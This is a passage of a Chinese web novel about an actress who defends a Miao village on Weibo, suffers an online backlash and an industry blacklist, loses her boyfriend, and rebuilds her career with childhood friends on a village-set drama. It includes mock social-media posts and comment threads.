五人围坐在竹桌旁，吃着香甜的草莓糯米饭，喝着温热的米酒，聊着早上采草莓的趣事，还有昨晚在屋顶上睡着的糗事，笑声在屋里回荡。 窗外的阳光正好，洒在吊脚楼的栏杆上，洒在他们的身上，也洒在他们的心底。 陈杬祝看着身边的人，突然觉得，人生最美好的时刻，不过如此。有爱的人在身边，有最好的朋友相伴，有温暖的阳光，有甜甜的草莓，有说不完的话，有聊不完的天。 而这样的时刻，会成为他们生命里最珍贵的回忆，陪伴他们走过人生的每一个春夏秋冬。 32. 不要忘了我 绫司司的指尖在手机屏幕上飞快跳跃，连鼻尖都沾着点糯米饭的甜香，她扒拉着早上采草莓时随手拍的九宫格——第一张是晨雾里的屋顶剪影，五个人的身影依偎在青瓦上，第二张是沈司南折的荷叶篮，里面堆着红彤彤的野草莓，最后一张是竹桌上的草莓糯米饭，碗边还沾着她没擦干净的糯米粒。 她咬着下唇想了想，指尖点进微博编辑框，噼里啪啦敲下一行字，又觉得不够味，删了重写，反复几次，终于满意地按下发送键。 微博正文 家人们谁懂啊！！！[震惊][震惊] 人生第一次在苗寨的吊脚楼屋顶睡了一整晚！！早上是被雾汽和野草莓的香味叫醒的！！[星星眼][星星眼] 腰快断了但是快乐值拉满！！后山的野草莓甜到心窝窝，沈司南牌荷叶篮yyds！！许祭的投喂也超甜！！[害羞][害羞] 还有超温柔的江殇哥和杬祝姐！！阿婆做的草莓糯米饭直接香晕我！！[哭惹R][哭惹R] 晨雾像神仙的衣裳，阳光洒下来的时候，觉得全世界都温柔得不像话～[心][心] #苗寨奇遇记 #屋顶露营初体验 #草莓糯米饭天花板 配图 九宫格：屋顶晨雾剪影、荷叶篮野草莓特写、五人采摘草莓的背影、草莓糯米饭成品、绫司司咬着草莓的鬼脸自拍、陈杬祝靠在江殇怀里的温柔侧影、许祭帮沈司南拂去发梢露珠的瞬间、路边带露珠的野花、吊脚楼外的青山暖阳。 评论区光速沦陷 司司宝贝！！这是在哪里啊！！风景也太美了吧！！[憧憬] 屋顶睡觉？！好刺激！！腰还好吗宝！！[心疼] 沈司南？许祭？！是我想的那个沈司南和许祭吗？！[震惊][震惊] 草莓糯米饭看起来好好吃！！阿婆手艺绝了！！[馋] 这氛围也太绝了吧！！好羡慕这种朋友爱人都在身边的日子！！[哭惹R] 绫司司刷着评论，笑得眉眼弯弯，手指飞快地回复着粉丝的提问，偶尔抬头看一眼正在收拾碗筷的几人，眼底的笑意更浓了。 她的微博里，没有刻意的炫耀，只有藏不住的雀跃和满足，字里行间都是对这段意外经历的欢喜——于她而言，这不是需要藏着掖着的秘密，而是值得分享给全世界的、独属于这个清晨的温柔与快乐。 而屏幕那端的访客，有人带着对她日常的思念，透过文字和图片，仿佛也能感受到她的快乐；有人则满是好奇，对苗寨的一切、对她身边的人、对这段奇妙的屋顶之夜，充满了探究的欲望。两种情绪交织在评论区里，汇成了对她最真切的关注。 江芷的微博发得随意又直接，没有精修的图片，也没有弯弯绕绕的铺垫，只有一行带着点娇嗔又理直气壮的文字，配了张自家客厅水晶灯的随手拍——灯光璀璨，衬得茶几上的珐琅彩茶杯都泛着光。 她窝在欧式沙发里，指尖飞快敲完文案，连标点符号都没多琢磨，直接@了江殇的微博账号，点击发送。 微博正文 @江殇 臭小子！！[叉腰][叉腰] 赶紧给你妈打钱！！ 你妈我昨天逛街看中一套新款旗袍，面料是苏绣的，领口还镶了碎钻，专柜价六位数起步，你爸那老古董说我乱花钱，死活不给批预算[委屈][委屈] 你现在翅膀硬了，在外面逍遥快活，也不知道惦记惦记你妈！！限你一小时内把钱打过来，不然我就去你微博评论区刷屏，让你的粉丝都知道你是个不孝子！！[哼][哼] #养儿子有什么用在线等挺急的# 配图 一张客厅水晶灯的随手拍，角落里隐约能看到半件挂在衣架上的真丝披肩。 评论区秒速炸开 江妈妈！！活捉正主！！[震惊][震惊] 苏绣旗袍+碎钻领口！！妈妈的品味绝了！！[舔屏] 江殇：危！！[笑不活了] 叔叔好惨一男的，又被妈妈吐槽了哈哈哈哈！！ 一小时倒计时开始！！蹲一个江殇的秒回！！[蹲] 谁懂啊！！豪门妈妈的日常居然是催儿子打钱买旗袍！！太真实了吧！！ 江芷发完微博，就把手机往旁边一扔，端起茶杯抿了一口碧螺春，嘴角却忍不住勾出一抹得意的笑。 她才不是真的缺那点钱买旗袍，不过是好久没收到江殇的消息，想借着由头逗逗他罢了。 毕竟，自家儿子在外头待久了，总得时不时敲打敲打，让他记着，家里还有个等着他“孝敬”的老妈呢。 陈杬祝坐在房车后座的折叠桌前，指尖在手机屏幕上顿了顿，眼底还带着刚从苗寨回来的疲惫，却又燃着一丝压不住的火气。窗外是疾驰的夜色，经纪人在前排反复叮嘱他“谨言慎行”，可他想起白天在苗寨青石板路上，那个塞给他野果的老奶奶满是皱纹的手，想起拦门酒时大叔笑着说“喝不了浅尝就好”的温和，想起民宿老板半夜起来帮他修除湿机的身影，终究还是敲下了一行字。 他没配精修图，只随手拍了张手机里存着的苗寨落日——橘红色的余晖洒在吊脚楼的飞檐上，远处的梯田泛着微光，连滤镜都没加。编辑框里的文字越写越长，从最初的一句反问，渐渐变成了一段带着温度的碎碎念： “刚从苗寨回来，刷到有人问‘苗寨有没有正常人’，突然就哽住了。 哪里的人群都有差异，苗寨里的大多数，都是守着传统、带着善意的普通人啊。 走在青石板路上，会遇到主动指路的老奶奶，把自家种的野果塞给你，连名字都不肯说；拦门酒的米酒温热，递酒的大叔会笑着说‘喝不了浅尝就好’，从不会勉强半分；民宿老板会提前备好除湿机，半夜听到我咳嗽，还端来一碗热腾腾的姜茶；银饰匠人专注地打制银饰，哪怕我只是随口问问，也会放下锤子，耐心讲解花纹里的故事。 他们过着日出而作、日落而息的生活，用酸辣调味日常，用银饰装点岁月，坚守着‘团结互助’的古风。寨子里的孩子会追着蝴蝶跑过梯田，老人会坐在晒谷场上唱听不懂的苗歌，年轻人会用手机直播家乡的美景，努力让更多人看到这里的烟火。 苗寨有独特的文化习俗，有山水滋养的静谧，或许有商业化带来的小瑕疵，但用‘有没有正常人’这种偏见标签去否定一个群体，既不尊重他们的坚守，也辜负了深山里的那份真诚。 别让偏见，遮住了人间的烟火气。” 发送按钮按下去的瞬间，陈杬祝长长地舒了口气。他将手机扔在桌上，靠在椅背上，望着窗外掠过的路灯，眼底的火气渐渐褪去，只剩下一丝释然。前排的经纪人听到消息提示音，无奈地扶了扶额，却也没再多说什么——他知道，陈杬祝这股子认死理的劲儿，从来都改不了。 而此时的微博后台，这条带着苗寨落日的微博，已经开始以惊人的速度发酵。评论区里，粉丝们的留言瞬间刷屏，有心疼他疲惫的，有赞同他观点的，还有人晒出自己去苗寨旅游的温暖经历，一条条评论，渐渐汇成了一股对抗偏见的暖流。 陈杬祝那条带着苗寨落日的微博发出去不到半小时，手机就开始疯狂震动。 起初是粉丝的正向评论刷屏，满屏的“姐姐说得对”“苗寨的温柔我也见过”，可很快，一股截然不同的声音就如同潮水般涌来。有人截了她文字里的片段，断章取义地发在营销号评论区：“陈杬祝这是在内涵谁？合着质疑苗寨商业化的都是没良心的？”“明星就是高人一等，我们普通游客被坑了还不能说了？”“她拿了苗寨的代言吧？这么卖力洗地！” 更有甚者，翻出她半年前接的一个文旅推广代言，尽管那代言与苗寨毫无关系，却被强行捆绑，扣上了“恰烂钱替不良商家说话”的帽子。#陈杬祝 双标# #陈杬祝 苗寨洗地# 的词条以肉眼可见的速度冲上热搜，广场上全是不堪入目的谩骂，有人P她的黑图，有人翻出她早年的采访断章取义，连她粉丝的正常辩解，都被打成“脑残粉洗白”。还有人揪着她“女艺人就该少管闲事”的刻板印象不放，骂她“戏多”“想红想疯了”。 经纪人的电话几乎要被打爆，合作方的解约通知一条接一条地发过来。原本定好的时尚杂志封面被临时替换，待播剧的片方紧急发布声明，称“陈杬祝女士的个人言论与剧集无关，后续宣传将调整其参与度”，甚至连她代言了两年的国民品牌，都在官博上挂出了解约公告，措辞强硬，划清界限。 公司高层的视频会议开得剑拔弩张，最终的决定冰冷而残酷。“公开道歉，暂停所有工作，无限期雪藏。”经纪人念出决定时，声音都在发颤。陈杬祝坐在房车的角落里，身上还穿着从苗寨带回来的那件绣着细碎银纹的素色长裙，手机屏幕亮着，最新的一条推送是“某知名导演称，永不与陈杬祝合作，艺德有亏的艺人，不配站在镜头前”。 她想解释，想再发一条微博，把那些苗寨里的温暖细节说得更清楚，可手指刚触到屏幕，就被经纪人按住了。“别发了，越解释越黑。现在全网都在抵制你，没有平台敢要你，没有品牌敢用你。” 一夜之间，她从顶流的神坛跌落，摔得粉身碎骨。微博粉丝数以肉眼可见的速度下降，超话被锁，后援会宣布解散。她的名字成了禁忌，在娱乐圈里，没有人敢再提起。曾经追着她拍的狗仔，如今见了她就像见了瘟神，躲得远远的。 房车最终停在一处偏僻的公寓楼下，这是她仅剩的私人财产。经纪人把一个行李箱递给他，语气里带着最后一丝无奈：“保重。” 陈杬祝拖着行李箱走进空无一人的公寓，窗外是城市的万家灯火，却没有一盏是为她而亮。她点开微博，那条带着苗寨落日的微博还在，只是评论区已经被谩骂淹没，点赞数停留在了一个尴尬的数字。她没有删，也没有道歉，只是静静地看着那张照片里的橘红色余晖，想起了那个塞给她野果的老奶奶，想起了递酒的大叔，想起了民宿老板的姜茶。 手机突然弹出一条消息，是她的助理发来的，只有简短的一句话：“杬祝姐，行业内已经发了封杀通知，没有人敢用你了。” 陈杬祝缓缓放下手机，靠在冰冷的墙壁上，眼底的光一点点熄灭。没有反转，没有路人缘回暖，没有资本力保。她只是说了一句真话，却付出了整个演艺生涯的代价。 公寓里没有开灯，只有手机屏幕的光映着她苍白的脸。窗外的夜色越来越浓，如同她再也看不到尽头的未来。那件绣着银纹的长裙被她随手扔在沙发上，银线在黑暗里泛着微弱的光，像极了苗寨夜空的星星，也像极了她曾经璀璨，如今却彻底黯淡的人生。 江殇的消息是在凌晨三点发来的，只有短短五个字：“我们分手吧。” 陈杬祝盯着屏幕上那行冰冷的字，指尖悬在半空，连颤抖的力气都没有。公寓里没有开灯，只有手机屏幕的光映着她苍白的脸，沙发上那件绣着银纹的苗寨长裙，在黑暗里泛着一点微弱的光，像极了她和江殇这段感情里，最后一点苟延残喘的温度。 她和江殇在一起的日子，不算漫长，却足够刻骨铭心。从她还带着几分青涩的锋芒，到逐渐在镜头前站稳脚跟，他始终站在她身后。他是圈里知名的音乐制作人，一手包办了她所有单曲的编曲，会在她赶通告到深夜时，煮一碗热汤等在录音棚外，会在她被黑粉攻击时，默默用小号下场反黑，会在她去苗寨拍戏前，反复叮嘱她注意安全，甚至特意查了苗寨的习俗，怕她无意间触犯了什么。 就在她发那条微博的前一天，江殇还在电话里笑着说，等她回来，就带她去吃她最爱的那家火锅，庆祝她新剧杀青。 可现在，一切都变了。 她没有打电话去质问，也没有发消息去挽留。她太清楚了，江殇的决定，从来都不会轻易改变。她点开和江殇的聊天记录，往上翻，全是细碎的温暖和叮嘱，直到最后几条，变成了她被骂上热搜时，江殇发来的担忧：“杬，你不该说那些话的。”“公司已经在施压了，你快发个道歉声明。”“我帮你联系了公关，你配合一下。” 她那时候满脑子都是苗寨里的那些人，那些事，只回了一句：“我没错。” 现在想来，那或许就是他们感情破裂的开始。 江殇是个极其理智的人，他永远懂得在娱乐圈的规则里，如何将利益最大化，如何明哲保身。而她，却偏偏在最不该认死理的时候，一头撞了上去。 她能想象到，江殇此刻正承受着怎样的压力。他的工作室刚和一家大公司达成合作，她的事一出，合作方已经在重新评估风险。他的朋友圈里，全是娱乐圈的人，她的名字成了禁忌，他若再和她绑在一起，无异于自毁前程。 手机又震动了一下，是江殇发来的第二条消息：“我已经帮你处理了部分烂摊子，剩下的，你自己保重。” 陈杬祝终于忍不住，捂住脸低低地哭了出来。没有撕心裂肺的嚎啕，只有压抑的、断断续续的呜咽，像一只受伤的小兽，在黑暗里独自舔舐伤口。她不是怪江殇，她只是觉得委屈，觉得无力。她只是说了一句真话，却失去了事业，失去了爱情，失去了她曾经拥有的一切。 她缓缓打出一个“好”字，发送，然后拉黑了江殇的所有联系方式。 做完这一切，她瘫坐在冰冷的地板上，看着窗外渐渐泛白的天空。手机屏幕上，那条带着苗寨落日的微博还在，评论区的谩骂依旧没有停止。她的演艺生涯已经结束，她的爱情也走到了尽头。 公寓里静得可怕，只有她的呼吸声，和偶尔从窗外传来的汽车鸣笛声。那件绣着银纹的长裙，被风吹得轻轻晃动，银线的光芒，在晨曦中渐渐消散，就像她和江殇之间，那些再也回不去的时光。 天光大亮的时候，陈杬祝终于从地板上爬起来。她没洗脸，没梳头，身上还穿着昨晚那件皱巴巴的家居服，赤着脚走到客厅的落地窗旁。窗外车水马龙，阳光刺眼得让她忍不住眯起眼，可那光却一点都照不进她冰冷的心底。 她拿起手机，解锁屏幕的手指还在发颤。那条带着苗寨落日的微博还挂在首页，评论区的谩骂已经翻到了上千页，她的超话早就被锁，粉丝群里一片死寂，连最后几个死忠粉都销声匿迹了。江殇的联系方式已经被她拉黑，聊天记录里最后那句“你自己保重”，像一根针，狠狠扎在她的心上。 她点开微博编辑框，没有配任何图片，没有加任何话题，甚至连标点符号都懒得斟酌。指尖在屏幕上划过，带着一股破罐子破摔的绝望，敲下了三个字： 我好恨。 没有主语，没有宾语，没有任何多余的解释。 发送按钮按下去的瞬间，她甚至能想象到这条微博会引发的轩然大波。营销号会截图，黑粉会狂欢，路人会嘲讽她“卖惨”“玻璃心”，或许还会有人翻出她之前那条为苗寨发声的微博，骂她“活该”“自食恶果”。 可她不在乎了。 她靠在冰冷的玻璃上，看着手机屏幕上那条刚发出去的微博，评论以每秒几十条的速度疯涨。有人说“恨谁？恨网友不理解你吗？”，有人说“恨自己太蠢，非要逞英雄？”，还有人说“恨江殇离开你？别装了，你们不就是利益捆绑吗？” 陈杬祝笑了，笑得眼泪都流了出来。 她恨吗？ 她恨那些断章取义的营销号，恨那些不分青红皂白就对她恶语相向的陌生人，恨那个只看利益、不问对错的娱乐圈，恨江殇在她最需要支持的时候，选择了转身离开。 她更恨自己。 恨自己的天真，恨自己的认死理，恨自己明明知道娱乐圈的规则，却还是忍不住为了一份微不足道的温暖，赌上了自己的全部。 手机震动不停，是经纪人打来的电话，她直接按了拒接。助理发来的消息密密麻麻，全是让她删博的恳求，她看都没看，直接把手机扔在了沙发上。 阳光越来越烈，把她的影子拉得很长很长。她站在落地窗旁，像一尊没有灵魂的雕塑，看着这个曾经承载了她所有梦想和希望的城市，眼底只剩下无边无际的黑暗和恨意。 那条只有三个字的微博，很快就冲上了热搜榜首。#陈杬祝 我好恨# 的词条后面，跟着一个刺眼的“爆”字。可这一次，陈杬祝再也不会去看，再也不会去在意了。 她的世界，已经彻底崩塌了。 陈杬祝是被一阵持续的门铃声吵醒的。 她已经记不清自己窝在沙发上睡了多少天，窗帘拉得严严实实，公寓里弥漫着速食面和咖啡的混合气味，手机早就被她调成了静音，屏幕上的未接来电和未读消息堆积如山，她却连看一眼的欲望都没有。 门铃声执着地响着，带着一种不容拒绝的执拗。陈杬祝终于撑着发麻的身体站起来，赤着脚走到门口，透过猫眼看过去——门外站着两个穿着黑色西装的人，一男一女，气质干练，手里还拿着一份文件夹。 她本想装作没人，可那门铃声却没有停下的意思。陈杬祝皱了皱眉，还是拉开了门。 “陈杬祝女士吗？”女人率先开口，声音平静，没有丝毫的谄媚或鄙夷，只是递过来一张名片，“我们是黔山传媒的，我叫林舟，是公司的项目总监。这位是我的助理。” 陈杬祝低头看了一眼名片，黔山传媒？她从未听过这个名字。圈子里的大公司她闭着眼睛都能数出来，可这个名字，陌生得像是从未在娱乐圈的版图上出现过。 “我不认识你们。”她的声音沙哑得厉害，带着长时间不说话的干涩，“我现在不想见任何人，请你们离开。” “我们不是来蹭热度，也不是来落井下石的。”林舟没有丝毫退缩，反而往前递了递手里的文件夹，“我们是来邀请你，加入黔山传媒，担任我们公司即将开拍的一部网剧的女主角。” 陈杬祝像是听到了什么天大的笑话，忍不住笑出了声，只是那笑声比哭还难听：“邀请我？你们没看新闻吗？我被全网封杀了，没有平台敢播我的剧，没有品牌敢用我，你们找我，是想跟着一起倒闭吗？” 她的话里带着浓浓的自嘲，眼底的绝望几乎要溢出来。 林舟却依旧平静，甚至还微微颔首：“我们看了新闻，也看了你那两条微博。一条为苗寨发声，一条道尽委屈。我们老板说，他欣赏你的勇气，也认同你的坚持。” “你们老板？”陈杬祝挑眉，语气里满是怀疑，“他是谁？能对抗整个行业的封杀？” “我们老板是苗族人。”林舟的声音顿了顿，目光落在陈杬祝沙发上那件绣着银纹的苗寨长裙上，“这部网剧的剧本，改编自苗寨的一个民间故事，全程在苗寨取景。我们需要一个真正懂苗寨，愿意为苗寨发声的演员，而你，是最合适的人选。” 陈杬祝愣住了。 苗族人？民间故事？全程苗寨取景？ 这些词语像是一根根针，猝不及防地扎进她的心里，让她想起了那个塞给她野果的老奶奶，想起了递酒的大叔，想起了民宿老板的姜茶，想起了那片橘红色的落日余晖。 “我被封杀了。”她又重复了一遍，声音里带着一丝不易察觉的颤抖，“没有人敢用我，就算你们拍了，也播不了。” “黔山传媒是刚成立的公司，背后的资本来自苗寨的几个旅游开发集团，我们不求流量，不求热度，只求能把苗寨的故事讲好。”林舟的语气坚定，“至于播出渠道，我们已经和几个地方台以及小众视频平台谈好了合作，就算不能上星，不能上主流平台，我们也能让这部剧，被真正想看的人看到。” 她顿了顿，将文件夹递到陈杬祝的手里：“这是剧本，你可以先看看。片酬不高，但是我们能给你的，是绝对的尊重，和一个重新站起来的机会。” 陈杬祝木然地接过文件夹，指尖触碰到纸质的封面，传来一丝温热的触感。她翻开第一页，剧本的名字映入眼帘——《银饰与风》。 开篇的第一句台词，就写着：“苗寨的风，带着银饰的清脆，也带着人心的温暖。” 她的眼眶瞬间就红了。 林舟和助理没有再打扰她，只是留下了一句“我们明天再来听你的答复”，便转身离开了。 公寓的门被轻轻带上，房间里又恢复了死寂。陈杬祝坐在沙发上，手里紧紧攥着那份剧本，眼泪一滴一滴地落在纸页上，晕开了上面的字迹。 她低头看了看自己身上皱巴巴的家居服，又看了看沙发上那件绣着银纹的苗寨长裙，突然想起了自己当初进入娱乐圈的初心——不是为了顶流的位置，不是为了光鲜亮丽的生活，只是为了能演好每一个角色，讲好每一个故事。 而现在，有一个机会摆在她的面前，让她去讲那个她放在心尖上的苗寨的故事。 她拿起手机，解锁屏幕，点开那条只有三个字的微博“我好恨”。评论区依旧是一片谩骂，可这一次，她的眼底却不再只有黑暗。 她缓缓点开微博编辑框，敲下了一行字，然后配了一张照片——那是她刚刚从文件夹里抽出来的剧本第一页，纸页上还带着她的泪痕。 发送按钮按下去的瞬间，陈杬祝长长地舒了一口气。 窗外的阳光透过窗帘的缝隙，照进了这间昏暗的公寓，落在她的脸上，也落在那份剧本上。 这一次，她或许还是没有掌声，没有鲜花，没有万众瞩目。 但她，终于有了重新出发的勇气。 陈杬祝捏着《银饰与风》的剧本，指尖还在微微发颤，公寓门被再次敲响时，她以为是黔山传媒的林舟去而复返，拉开门的瞬间，就被撞进怀里的两道身影裹住了熟悉的苗寨山风气息。 “杬祝！” 沈司南身上的玄色对襟短褂还绣着寨里祭祀专属的暗银图腾，墨发用同色发带束在脑后，平日里冷得像雪山融冰的眉眼，此刻却拧成了川字，伸手就将她上下打量了一遍，语气里的焦灼藏都藏不住，“怎么把自己折腾成这样？忘了阿婆说的，苗家的儿女，脊梁骨要比吊脚楼的木柱还硬？” 许祭跟在后面，手里拎着两个鼓鼓囊囊的塑料袋，一进门就熟门熟路地往厨房走，白色衬衫的衣角扫过玄关的鞋柜，声音温润却带着不容拒绝的笃定：“我买了新鲜的菌子和腊肉，是寨里阿婆特意晒好让我们带来的，还有你小时候最爱喝的甜酒，先给你煮碗热汤。” 陈杬祝愣在原地，看着沈司南随手将玄色发带扯下，墨发披散下来少了几分祭祀的清冷，多了几分少年人的肆意——她和沈司南本就是一起在苗寨长大的伙伴，她是寨里最会唱歌的姑娘，他是寨里最受敬重的祭祀继承人，小时候她总爱跟在他身后，抢他手里的银饰坯子，而许祭，是沈司南带回寨里的客人，却因常年久居、性子温润，早就成了他们最要好的朋友。 她会坐在沈司南的祭祀堂外，听他用苗语唱古老的歌谣，看他打磨那些带着神秘纹路的银饰，许祭就坐在不远处的石凳上，安静地翻着书，偶尔抬眼，目光落在他们身上，带着淡淡的笑意；她会拉着沈司南，带着许祭走遍苗寨的角角落落，给许祭讲梯田里的稻浪如何随着风唱歌，讲吊脚楼的飞檐上藏着多少寨神的传说，也会把自己想当演员、想让更多人知道苗寨的心愿，偷偷说给两人听。沈司南会面无表情地递上一杯甜酒，却在无人处用木叶吹着她喜欢的调子；许祭会笑着帮她修改简历，会在她第一次去城里试镜时，塞给她一个绣着苗纹的平安符，说“这是寨里阿婆亲手绣的，带着苗寨的风，会护着你”。 后来她离开苗寨，一步步走到顶流的位置，却从未忘记自己是苗家的女儿，也从未忘记寨里有她的发小，有她最敬重的祭祀，还有一位待她如亲妹的客人朋友。只是她没想到，一场为苗寨发声的微博风波，会让她从云端跌落泥潭，更没想到，在她最狼狈不堪、连江殇都选择离开的时候，这两个她放在心尖上的人，会第一时间从苗寨赶过来。 “你们怎么来了？”陈杬祝的声音沙哑得厉害，刚一开口，眼泪就掉了下来。 沈司南没说话，只是从随身的背包里拿出一个厚厚的牛皮纸信封，递到她面前。许祭端着一杯热牛奶走过来，递给她，语气里带着安抚：“寨里的人都看到了你的微博，阿婆们急得直掉眼泪，非要让我们过来看看你。沈司南连夜跟寨里的长老们请示，推掉了下个月的祭祀大典，我虽只是寨里的客人，却也早把这里当作第二个家，把你和司南当作亲人，工作室的事我都安排好了，我们这次来，就没打算马上回去。” 陈杬祝打开信封，里面是寨里几十位老人的联名信，还有沈司南亲手绘制的苗寨习俗图谱——上面的每一个符号、每一条规矩，都是他们小时候一起在祭祀堂里学过的；以及许祭整理得密密麻麻的证据——那些营销号断章取义的截图，伪造的代言合同，甚至连黑粉P图的原始素材，都被他一一找了出来。 “我是寨里的祭祀，《银饰与风》的传说，是我们从小听到大的故事。”沈司南的声音低沉，却带着不容置疑的力量，“这部剧，我来做民俗顾问，全程跟组。你的台词里，每一句苗语的发音，每一个银饰的佩戴方式，每一个祭祀礼仪的细节，我都教你。我要让你演的角色，是真正的苗家儿女，不是外面那些人臆想出来的刻板印象。” “我虽只是苗寨的客人，但这些年受寨里父老乡亲的照拂，早已把这里的荣辱放在心上。”许祭坐在她身边，指尖划过手机屏幕上的证据文件夹，眼底闪过一丝锐利，“那些骂你的人，那些断章取义的营销号，我会一一让他们付出代价。不是为了让你回到顶流的位置，只是为了还你一个清白，为了不让寨里的父老乡亲，被那些污言秽语所伤。” “还有，”沈司南突然想起什么，从背包里拿出一件叠得整整齐齐的苗裙，比她沙发上那件更精致，银纹在灯光下泛着细碎的光，“这是寨里的绣娘们连夜赶制的，上面的银纹，是你小时候最喜欢的蝴蝶纹。她们说，让你穿着它拍戏，就像她们一直在你身边一样。” 陈杬祝看着眼前的两个朋友，看着手里的联名信和苗裙，看着手机里许祭整理的证据，终于忍不住，扑进沈司南的怀里，放声大哭。 这一次，不是委屈的呜咽，不是绝望的痛哭，而是带着滚烫温度的，释然的泪水。 沈司南的身体僵了一下，随即轻轻拍了拍她的背，动作有些生涩，却带着让人安心的力量。许祭站在一旁，安静地看着，眼底满是温柔，直到她的哭声渐渐平息，才轻声开口：“好了，先喝碗热汤吧。 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剧组驻扎在苗寨深处的吊脚楼群里，清晨的雾霭还没散，陈杬祝就已经换上了那件绣着蝴蝶银纹的苗裙。沈司南站在她身侧，指尖捏着一枚小巧的银蝴蝶发簪，动作轻柔地将她额前的碎发别到耳后，声音压得极低，带着祭祀特有的沉稳：“苗家姑娘迎贵客时，发簪的角度要稍斜，既显礼数，又不张扬。” 她微微颔首，对着不远处的铜镜调整着姿态。镜中的女子眉眼清丽，苗裙的青布上，银纹在晨光下泛着细碎的光，与她腕间的银镯相映成趣。许祭端着一碗温热的甜酒走过来，递到她手中，眼底带着笑意：“寨里的阿婆说，喝了甜酒，戏里的情绪会更顺。还有，昨天教你的那段苗语台词，再顺一遍？” 陈杬祝接过甜酒，小口抿了一口，温热的液体顺着喉咙滑下，带着熟悉的糯米香气。她张口，用苗语念出那段迎接贵客的台词，发音清晰，语调婉转，正是沈司南教了她无数遍的样子。沈司南微微点头，算是认可，转身走向导演组，去确认祭祀场景的布置细节——作为这部剧的民俗顾问，他要确保每一个镜头里的苗寨习俗，都精准得无可挑剔。 今天拍的是女主角阿银迎接外来客人的重头戏。陈杬祝站在吊脚楼的木梯上，身后是寨里的姑娘们，手里端着拦门酒，脸上带着淳朴的笑意。导演喊了一声“开始”，她的眼神瞬间变了。 不再是那个被全网谩骂、跌落神坛的顶流女星，而是那个生长在苗寨，热情又羞涩的苗家姑娘阿银。她的脚步轻盈，裙摆随着动作轻轻晃动，银饰碰撞发出清脆的声响。走到外来客人面前时，她微微低头，双手捧着酒碗递过去，声音软糯却清晰：“远方的客人，请喝一碗苗家的拦门酒。” 镜头特写她的眼睛，里面盛着苗寨清晨的雾，盛着对客人的善意，盛着对家乡的热爱。许祭站在监视器旁，看着屏幕里的陈杬祝，眼底满是欣慰。他特意跟导演申请了客串这个外来客人的角色，不为别的，只是想让她在面对熟悉的人时，能更自然地流露情绪。 这场戏拍得异常顺利。导演喊“卡”的时候，现场响起了一阵掌声。寨里来当群演的阿婆们围过来，拉着陈杬祝的手，不停地夸赞：“杬祝演得真好，就像我们寨里真正的阿银一样。” 陈杬祝的眼眶微红，对着阿婆们深深鞠了一躬。她知道，自己能有这样的状态，离不开沈司南的悉心指导，离不开许祭的默默支持，更离不开寨里父老乡亲的信任。 中午休息的时候，剧组的盒饭简单却可口。陈杬祝和沈司南、许祭坐在吊脚楼的走廊上，看着不远处的梯田在阳光下泛着金光，听着寨里的孩子们在田埂上追逐打闹。 “下午拍祭祀的戏份，你不用紧张。”沈司南一边给她剥着寨里特有的野核桃，一边轻声说道，“我会在你身边，按照我们小时候学的那样，一步步带你做。” “嗯。”陈杬祝点头，接过野核桃，放进嘴里嚼着，带着淡淡的清香。 许祭拿出手机，给她看自己整理的最新证据：“那些恶意攻击你的营销号，我已经发了律师函。还有几个带头造谣的黑粉，他们的真实信息已经被我掌握，很快就会受到应有的惩罚。” 陈杬祝的心里一暖。她低头看着自己身上的苗裙，看着腕间的银镯，突然觉得，自己失去的那些虚名浮利，都不算什么了。她现在拥有的，是朋友的陪伴，是家乡的支持，是一个能让她真正做自己的角色。 下午的祭祀戏份，是全剧的高潮。沈司南穿着祭祀的盛装，站在祭台中央，手持青铜剑，口中念着古老的苗语咒语。陈杬祝站在他身后，作为祭祀的助手，手里捧着装有五谷杂粮的银盘。 她的动作一丝不苟，每一个弯腰，每一个抬手，都精准得如同真正的苗寨祭祀助手。镜头扫过她的侧脸，她的眼神虔诚而坚定，仿佛真的在参与一场神圣的祭祀。 当沈司南念完最后一句咒语，将青铜剑指向天空时，陈杬祝按照教给她的步骤，将银盘里的五谷杂粮撒向空中。金色的谷粒在阳光下飞舞，落在祭台的青石板上，也落在她的苗裙上。 导演喊“卡”的时候，整个剧组都安静了。过了几秒，才爆发出雷鸣般的掌声。 陈杬祝看着身边的沈司南，看着不远处的许祭，看着寨里的父老乡亲，眼泪终于忍不住掉了下来。这一次，不是委屈，不是绝望，而是激动，是释然，是一种失而复得的幸福。 沈司南递给她一方绣着苗纹的手帕，语气依旧清冷，却带着一丝不易察觉的温柔：“哭什么？苗家的儿女，不轻易流泪。” 许祭走过来，拍了拍她的肩膀，笑着说：“好了，今晚剧组加餐，寨里的阿婆们会做酸汤鱼，我们好好庆祝一下。” 陈杬祝擦干眼泪，露出了一个灿烂的笑容。她抬头看向天空，夕阳正缓缓落下，将苗寨的吊脚楼染成了橘红色。远处的山峦在暮色中连绵起伏，银饰的清脆声响和苗歌的婉转旋律，在空气中久久回荡。 她知道，这部《银饰与风》，不仅仅是一部剧，更是她的重生。而她的身边，永远有沈司南和许祭这两个最好的朋友，有整个苗寨作为她最坚实的后盾。 陈杬祝收工的时候，夕阳正把苗寨的吊脚楼染成一片暖橘色。她刚卸完妆，脸上还带着未散的红晕，手里捏着沈司南递来的银蝴蝶发簪，一抬眼就看见不远处的晒谷场上，许祭正帮绫司司整理被风吹乱的头发，上官渡靠在吊脚楼的柱子上，手里把玩着一枚银镯，嘴角噙着淡淡的笑，梨霄宫和梨春梦姐妹俩正追着寨里的小狗跑，银饰碰撞的清脆声响在空气里荡开。 沈司南不知何时站到了她身边，顺着她的目光看去，墨发被山风吹得微微晃动，语气里带着一丝不易察觉的柔和：“拍一张吧。” 陈杬祝愣了一下，随即笑着点头。她掏出手机，走到晒谷场中央，朝众人挥了挥手：“大家过来合张影！” 许祭最先应声，牵着绫司司走过来，绫司司的脸上还带着几分腼腆，手里攥着一把刚摘的野雏菊。上官渡慢悠悠地踱步过来，自然地站到绫司司身边。梨霄宫拉着梨春梦的手，蹦蹦跳跳地挤到最前面，姐妹俩的发辫上都系着彩色的苗绳，笑得眉眼弯弯。 沈司南站在陈杬祝的身侧，玄色短褂的袖口被风掀起，露出腕间的银镯。陈杬祝举着手机，调整着角度，镜头里的每个人都带着最真实的笑容，身后是层层叠叠的梯田，远处是连绵的青山，夕阳的余晖洒在每个人的身上，镀上了一层温暖的金边。 “三，二，一！” 随着快门声响起，这一刻被永远定格。 陈杬祝低头看着手机里的照片，指尖轻轻划过屏幕上的每张脸——沈司南的清冷里藏着温柔，许祭的温润里带着笑意，绫司司的腼腆里透着灵动，上官渡的淡然里藏着柔软，梨霄宫和梨春梦的笑容里满是天真烂漫。 